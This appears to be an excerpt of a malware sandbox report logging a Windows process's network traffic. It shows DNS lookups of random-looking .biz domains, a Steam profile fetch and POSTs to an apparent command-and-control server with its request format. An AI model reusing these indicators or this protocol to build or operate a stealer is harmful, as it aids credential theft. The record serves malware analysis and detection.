Jan 14, 2025 18:01:09.868068933 CET	54196	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.876349926 CET	53	54196	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.877880096 CET	64828	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.886950016 CET	53	64828	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.890770912 CET	57637	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.900130987 CET	53	57637	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.903270960 CET	57333	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.911900043 CET	53	57333	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.914056063 CET	54253	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.923238039 CET	53	54253	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.924696922 CET	57389	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.933404922 CET	53	57389	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.936321974 CET	62955	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.945915937 CET	53	62955	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.947254896 CET	64010	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.958478928 CET	53	64010	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:09.959949970 CET	61007	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:09.966897964 CET	53	61007	1.1.1.1	192.168.2.10
Jan 14, 2025 18:01:11.898705006 CET	57898	53	192.168.2.10	1.1.1.1
Jan 14, 2025 18:01:11.908072948 CET	53	57898	1.1.1.1	192.168.2.10

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 14, 2025 18:01:09.868068933 CET	192.168.2.10	1.1.1.1	0x8b67	Standard query (0)	littlenotii.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.877880096 CET	192.168.2.10	1.1.1.1	0x402c	Standard query (0)	fraggielek.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.890770912 CET	192.168.2.10	1.1.1.1	0x115c	Standard query (0)	grandiouseziu.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.903270960 CET	192.168.2.10	1.1.1.1	0x61b	Standard query (0)	marketlumpe.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.914056063 CET	192.168.2.10	1.1.1.1	0x41af	Standard query (0)	nuttyshopr.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.924696922 CET	192.168.2.10	1.1.1.1	0x4527	Standard query (0)	punishzement.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.936321974 CET	192.168.2.10	1.1.1.1	0x1038	Standard query (0)	spookycappy.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.947254896 CET	192.168.2.10	1.1.1.1	0x50b1	Standard query (0)	truculengisau.biz	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.959949970 CET	192.168.2.10	1.1.1.1	0x7537	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:11.898705006 CET	192.168.2.10	1.1.1.1	0xb087	Standard query (0)	aleksandr-block.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 14, 2025 18:01:09.876349926 CET	1.1.1.1	192.168.2.10	0x8b67	Name error (3)	littlenotii.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.886950016 CET	1.1.1.1	192.168.2.10	0x402c	Name error (3)	fraggielek.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.900130987 CET	1.1.1.1	192.168.2.10	0x115c	Name error (3)	grandiouseziu.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.911900043 CET	1.1.1.1	192.168.2.10	0x61b	Name error (3)	marketlumpe.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.923238039 CET	1.1.1.1	192.168.2.10	0x41af	Name error (3)	nuttyshopr.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.933404922 CET	1.1.1.1	192.168.2.10	0x4527	Name error (3)	punishzement.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.945915937 CET	1.1.1.1	192.168.2.10	0x1038	Name error (3)	spookycappy.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.958478928 CET	1.1.1.1	192.168.2.10	0x50b1	Name error (3)	truculengisau.biz	none	none	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:09.966897964 CET	1.1.1.1	192.168.2.10	0x7537	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:11.908072948 CET	1.1.1.1	192.168.2.10	0xb087	No error (0)	aleksandr-block.com		188.114.97.3	A (IP address)	IN (0x0001)	false
Jan 14, 2025 18:01:11.908072948 CET	1.1.1.1	192.168.2.10	0xb087	No error (0)	aleksandr-block.com		188.114.96.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

steamcommunity.com

aleksandr-block.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49704	104.102.49.254	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:11 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2025-01-14 17:01:11 UTC	1905	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Tue, 14 Jan 2025 17:01:11 GMT Content-Length: 35141 Connection: close Set-Cookie: sessionid=a2a17d00173fb6b2b7593477; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-14 17:01:11 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-14 17:01:11 UTC	16384	IN	Data Raw: 65 61 6d 63 6f 6d 6d 75 6e 69 74 79 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a Data Ascii: eamcommunity.com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">
2025-01-14 17:01:11 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 Data Ascii: </a></div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="
2025-01-14 17:01:11 UTC	510	IN	Data Raw: 61 6e 6b 22 3e 53 74 65 61 6d 20 53 75 62 73 63 72 69 62 65 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 Data Ascii: ank">Steam Subscriber Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.10	49711	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:12 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: aleksandr-block.com
2025-01-14 17:01:12 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-14 17:01:13 UTC	1125	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=aef9ig253fc64iq2g8eg5nlpk7; expires=Sat, 10 May 2025 10:47:51 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nLoMti%2BW8f%2FqRo8zN0x0xqdB18hIIm2k%2BOx3LA5gMyWqTTHFFex8CLiAhxRmSEGHRaDjlUVSs2uqBdbN3H0f06UzdxMltug7X7NFM1ZvZLfbe14GlTMo4CTVhxpKI2wge3CyRpln"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2fc8de784358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1687&min_rtt=1653&rtt_var=644&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=910&delivery_rate=1766485&cwnd=206&unsent_bytes=0&cid=6141d28936c49d86&ts=763&x=0"
2025-01-14 17:01:13 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-14 17:01:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.10	49717	188.114.97.3	443	7912	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 17:01:13 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: aleksandr-block.com
2025-01-14 17:01:13 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 44 55 6b 67 4c 76 2d 2d 50 49 53 59 41 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=DUkgLv--PISYA&j=
2025-01-14 17:01:14 UTC	1128	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 17:01:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=c5m6jjqq40nmcetq226c43ntcj; expires=Sat, 10 May 2025 10:47:52 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7U%2FXkZTRmj6yOIx99Ot03sWZCnbxlT4cbN%2B%2F%2F1v9l2k0iCVCpM5lT%2FstKbVvphYINmzMRTxFY8NbBVdWtIqrR86Koqr1oixTbG2OdEVW5V7aTeiPSm45XKnWt9NBIwTlVmS9Exjh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901f2fd08aadc427-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1518&min_rtt=1515&rtt_var=574&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=950&delivery_rate=1896103&cwnd=32&unsent_bytes=0&cid=4b603b8f4037887e&ts=497&x=0"
2025-01-14 17:01:14 UTC	241	IN	Data Raw: 34 39 39 34 0d 0a 6f 62 73 48 51 6b 44 30 6e 65 58 45 6b 70 6b 48 53 38 37 48 70 5a 45 4a 58 62 46 38 33 6d 32 56 59 55 62 66 48 4d 45 51 2b 59 4c 61 6d 58 46 67 65 73 43 78 78 37 66 33 75 7a 30 2f 76 4c 4c 41 76 53 73 38 31 56 37 6b 43 2f 51 4e 4e 62 6f 77 34 32 61 55 6f 4a 76 64 5a 69 34 7a 6b 62 48 48 6f 65 71 37 50 52 43 31 35 63 44 2f 4b 32 65 54 47 62 51 50 39 41 30 6b 76 6e 65 75 59 4a 58 68 79 64 64 67 4b 69 57 58 2b 59 53 6f 2f 2f 78 69 4c 71 2b 74 79 2f 68 6b 4e 64 78 65 38 6b 2f 77 47 32 54 6c 50 6f 78 31 6a 65 50 73 32 6e 51 70 59 6f 6d 78 6e 75 62 33 39 79 56 78 37 4b 62 41 38 32 55 37 31 52 65 32 42 66 30 46 4a 62 74 32 73 58 6d 66 36 73 6e 5a 59 79 73 76 6e 75 32 4a 6f 76 6a 33 5a 43 53 76 35 59 6d Data Ascii: 4994obsHQkD0neXEkpkHS87HpZEJXbF83m2VYUbfHMEQ+YLamXFgesCxx7f3uz0/vLLAvSs81V7kC/QNNbow42aUoJvdZi4zkbHHoeq7PRC15cD/K2eTGbQP9A0kvneuYJXhyddgKiWX+YSo//xiLq+ty/hkNdxe8k/wG2TlPox1jePs2nQpYomxnub39yVx7KbA82U71Re2Bf0FJbt2sXmf6snZYysvnu2Jovj3ZCSv5Ym
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 7a 62 43 65 54 52 76 78 63 78 51 41 31 72 47 75 75 59 70 32 67 33 4a 64 38 59 43 57 61 76 39 2f 6d 2b 50 64 72 4c 4b 2b 71 77 50 4a 72 4c 64 77 65 76 77 66 2f 42 79 36 79 63 61 78 38 6b 65 66 4c 30 47 49 76 4a 5a 37 35 69 4b 57 77 74 53 55 75 74 4f 57 66 73 30 73 76 30 42 32 6f 41 75 5a 44 4f 2f 4e 6e 34 33 57 58 6f 4a 75 5a 59 79 34 6a 6d 2f 2b 56 72 76 76 77 59 44 75 6e 72 4d 72 2b 61 7a 4c 5a 45 62 38 50 38 41 6b 75 73 6e 53 6e 66 35 62 6d 77 39 6b 6c 62 6d 4b 52 35 38 66 2b 73 4e 68 67 4f 61 75 70 30 62 46 52 66 38 78 51 70 55 2f 77 44 32 54 6c 50 71 74 33 6d 4f 50 49 31 6d 59 6f 4b 59 54 2f 6c 61 44 39 2f 6e 63 76 71 61 76 4e 38 48 6b 31 33 52 69 2f 42 76 77 4b 49 62 70 36 34 7a 7a 62 35 39 75 5a 50 57 41 44 6d 2f 53 4c 72 4f 66 37 4a 54 62 69 76 49 Data Ascii: zbCeTRvxcxQA1rGuuYp2g3Jd8YCWav9/m+PdrLK+qwPJrLdwevwf/By6ycax8kefL0GIvJZ75iKWwtSUutOWfs0sv0B2oAuZDO/Nn43WXoJuZYy4jm/+VrvvwYDunrMr+azLZEb8P8AkusnSnf5bmw9klbmKR58f+sNhgOaup0bFRf8xQpU/wD2TlPqt3mOPI1mYoKYT/laD9/ncvqavN8Hk13Ri/BvwKIbp64zzb59uZPWADm/SLrOf7JTbivI
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 32 52 69 7a 41 76 74 44 61 76 31 35 75 7a 4c 44 6f 4f 6e 61 63 53 4d 6f 31 4d 71 45 71 50 37 38 63 32 6d 7a 36 39 36 7a 62 44 4f 54 52 76 77 43 39 67 73 69 72 33 47 75 63 5a 58 75 7a 4e 78 71 4b 43 4b 57 38 6f 4b 69 2b 2f 42 6d 4a 4b 69 33 7a 66 4e 6a 4f 74 49 55 74 6b 2b 35 51 79 4f 6c 50 76 73 79 71 76 66 49 6d 31 41 6a 4c 4a 6a 34 6b 65 62 76 74 58 78 70 71 36 6d 48 71 79 73 79 32 78 75 35 41 50 59 4a 4b 72 68 30 72 33 71 56 34 39 48 57 59 53 41 75 6e 76 57 4b 71 50 54 7a 62 43 4b 6e 6f 38 66 79 59 58 2b 64 58 72 73 58 74 31 74 6b 69 58 6d 76 66 35 53 69 39 74 70 72 4c 69 57 41 76 35 6a 6f 36 62 74 69 4a 65 7a 39 68 2f 39 69 50 39 67 55 75 41 2f 77 44 69 47 2b 65 61 42 2f 6e 4f 72 4e 33 6d 45 73 4b 35 76 35 68 36 48 30 2f 6e 63 73 70 61 6e 4c 73 79 56 Data Ascii: 2RizAvtDav15uzLDoOnacSMo1MqEqP78c2mz696zbDOTRvwC9gsir3GucZXuzNxqKCKW8oKi+/BmJKi3zfNjOtIUtk+5QyOlPvsyqvfIm1AjLJj4kebvtXxpq6mHqysy2xu5APYJKrh0r3qV49HWYSAunvWKqPTzbCKno8fyYX+dXrsXt1tkiXmvf5Si9tprLiWAv5jo6btiJez9h/9iP9gUuA/wDiG+eaB/nOrN3mEsK5v5h6H0/ncspanLsyV
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 30 48 75 51 79 4f 78 50 76 73 79 6b 75 6e 52 31 32 73 70 4c 35 44 33 67 4b 6a 39 38 47 4d 69 71 36 4c 42 2f 6d 4d 79 31 68 32 39 43 2f 30 52 4a 37 5a 30 72 6e 6a 62 72 6f 50 65 66 57 42 36 31 74 69 4c 6a 2b 44 67 64 7a 2f 73 75 6f 6e 71 4b 7a 6a 66 58 75 52 50 39 41 77 74 73 6e 61 72 66 5a 54 6b 7a 64 39 6a 4c 53 65 5a 39 5a 57 75 2f 76 5a 75 4a 71 65 33 78 2f 35 76 4d 39 63 57 74 77 57 33 54 57 53 36 5a 75 4d 71 32 39 58 4f 31 6d 55 6a 4e 4e 62 67 79 62 2b 77 2f 47 6c 70 39 4f 58 4c 2f 57 73 77 33 78 4b 33 42 2f 59 50 4b 72 70 37 71 6e 71 54 38 73 4c 64 62 53 45 73 6d 66 36 44 6f 2f 58 2f 59 69 32 71 71 6f 65 39 4b 7a 6a 4c 58 75 52 50 32 43 51 52 2f 31 2b 5a 4d 6f 53 75 32 70 6c 69 4c 47 4c 4f 76 34 75 6c 2f 50 4e 71 4c 36 57 70 7a 66 70 67 4d 39 67 61 Data Ascii: 0HuQyOxPvsykunR12spL5D3gKj98GMiq6LB/mMy1h29C/0RJ7Z0rnjbroPefWB61tiLj+Dgdz/suonqKzjfXuRP9AwtsnarfZTkzd9jLSeZ9ZWu/vZuJqe3x/5vM9cWtwW3TWS6ZuMq29XO1mUjNNbgyb+w/Glp9OXL/Wsw3xK3B/YPKrp7qnqT8sLdbSEsmf6Do/X/Yi2qqoe9KzjLXuRP2CQR/1+ZMoSu2pliLGLOv4ul/PNqL6WpzfpgM9ga
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 59 72 76 48 2b 6c 59 4a 7a 70 30 64 64 6f 4c 79 71 65 39 6f 61 69 39 66 5a 6a 4a 61 61 6b 77 50 31 6c 4e 35 4e 51 2f 41 6a 76 51 33 7a 39 58 37 4e 70 69 66 62 4f 2b 47 67 76 59 6f 6d 78 6e 75 62 33 39 79 56 78 37 4b 7a 56 39 32 59 74 32 68 6d 79 41 50 51 52 4a 62 42 31 73 58 57 55 35 4d 54 56 59 79 38 6b 6c 2f 71 4e 71 76 66 2b 62 69 61 67 35 59 6d 7a 62 43 65 54 52 76 77 68 2f 42 41 7a 76 6e 43 6f 5a 49 43 67 33 4a 64 38 59 43 57 61 76 39 2f 6d 38 2f 42 75 4c 61 79 70 78 2f 64 6d 50 38 45 52 75 77 6a 2b 43 44 61 33 65 61 52 35 6b 2b 76 4d 33 33 63 73 4c 49 54 36 6c 62 53 77 74 53 55 75 74 4f 57 66 73 31 30 34 77 77 36 2f 54 63 59 56 4a 36 74 31 72 6e 37 62 2f 34 33 41 4a 53 63 75 31 71 66 48 6f 50 2f 79 5a 69 61 74 72 4d 76 2b 62 6a 62 57 48 37 6f 4c 2f Data Ascii: YrvH+lYJzp0ddoLyqe9oai9fZjJaakwP1lN5NQ/AjvQ3z9X7NpifbO+GgvYomxnub39yVx7KzV92Yt2hmyAPQRJbB1sXWU5MTVYy8kl/qNqvf+biag5YmzbCeTRvwh/BAzvnCoZICg3Jd8YCWav9/m8/BuLaypx/dmP8ERuwj+CDa3eaR5k+vM33csLIT6lbSwtSUutOWfs104ww6/TcYVJ6t1rn7b/43AJScu1qfHoP/yZiatrMv+bjbWH7oL/
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 6c 34 32 33 56 2b 59 50 65 61 57 42 36 31 76 79 41 70 66 48 78 62 43 57 6a 6f 73 50 68 59 54 6a 42 48 37 30 45 2b 67 38 6b 73 48 4f 70 63 35 4c 74 7a 39 52 69 4a 79 32 54 76 38 6e 6d 39 2b 4d 6c 63 65 79 45 79 76 68 6e 5a 49 6c 65 6f 30 48 75 51 79 4f 78 50 76 73 79 6d 2b 72 47 30 32 67 6a 4c 5a 58 74 68 71 44 69 2b 32 67 6a 76 71 2f 4d 39 6d 59 79 33 68 32 36 43 66 77 50 4e 72 52 2b 6f 48 6e 62 72 6f 50 65 66 57 42 36 31 74 79 51 73 50 72 38 61 54 2b 6e 70 4d 54 6c 5a 69 2b 54 55 50 77 65 38 42 4a 6b 35 57 69 7a 5a 5a 7a 2f 6a 63 41 6c 4a 79 37 57 70 38 65 67 2b 66 31 69 4c 36 4b 33 77 76 56 6b 4d 4e 6f 58 75 41 66 30 41 79 43 35 65 61 5a 78 6c 2b 76 45 32 6d 6f 6b 4b 35 6a 32 69 4f 61 2b 75 32 49 78 37 50 32 48 30 6e 41 38 33 78 50 38 45 4c 6b 61 5a 4c Data Ascii: l423V+YPeaWB61vyApfHxbCWjosPhYTjBH70E+g8ksHOpc5Ltz9RiJy2Tv8nm9+MlceyEyvhnZIleo0HuQyOxPvsym+rG02gjLZXthqDi+2gjvq/M9mYy3h26CfwPNrR+oHnbroPefWB61tyQsPr8aT+npMTlZi+TUPwe8BJk5WizZZz/jcAlJy7Wp8eg+f1iL6K3wvVkMNoXuAf0AyC5eaZxl+vE2mokK5j2iOa+u2Ix7P2H0nA83xP8ELkaZL
2025-01-14 17:01:14 UTC	1369	IN	Data Raw: 67 36 43 62 6d 55 55 72 4e 4a 50 34 6b 65 54 46 2b 47 73 6e 71 37 4f 48 37 46 52 78 6b 78 47 6d 54 36 38 36 50 66 31 35 72 7a 4c 44 6f 4e 62 65 5a 53 63 34 67 50 69 4c 74 2f 76 32 61 51 75 6a 6f 74 48 77 5a 44 7a 43 46 2f 41 45 2b 6b 4e 71 2f 58 6d 37 4d 73 4f 67 37 4e 35 7a 49 77 32 56 37 6f 37 6d 76 72 74 69 50 2b 7a 39 68 38 30 72 4c 64 41 4f 76 77 44 6d 50 57 54 6c 5a 35 30 79 6b 50 62 45 79 57 59 32 4b 5a 76 7a 6c 70 69 77 6f 7a 46 37 2f 76 65 56 6f 58 52 2f 7a 43 48 79 54 2f 5a 44 66 49 52 6e 34 32 54 62 75 4a 47 58 4a 54 4a 69 7a 72 2f 41 70 65 4c 70 59 79 71 36 70 6f 44 4e 56 52 6a 46 46 4c 73 66 38 42 51 72 2f 54 44 6a 66 64 75 34 2b 70 6c 73 4a 7a 6d 48 36 59 71 32 39 37 74 61 5a 2b 79 39 68 36 73 72 43 74 41 51 73 67 6a 68 45 6d 6d 61 61 4b 6c Data Ascii: g6CbmUUrNJP4keTF+Gsnq7OH7FRxkxGmT686Pf15rzLDoNbeZSc4gPiLt/v2aQujotHwZDzCF/AE+kNq/Xm7MsOg7N5zIw2V7o7mvrtiP+z9h80rLdAOvwDmPWTlZ50ykPbEyWY2KZvzlpiwozF7/veVoXR/zCHyT/ZDfIRn42TbuJGXJTJizr/ApeLpYyq6poDNVRjFFLsf8BQr/TDjfdu4+plsJzmH6Yq297taZ+y9h6srCtAQsgjhEmmaaKl
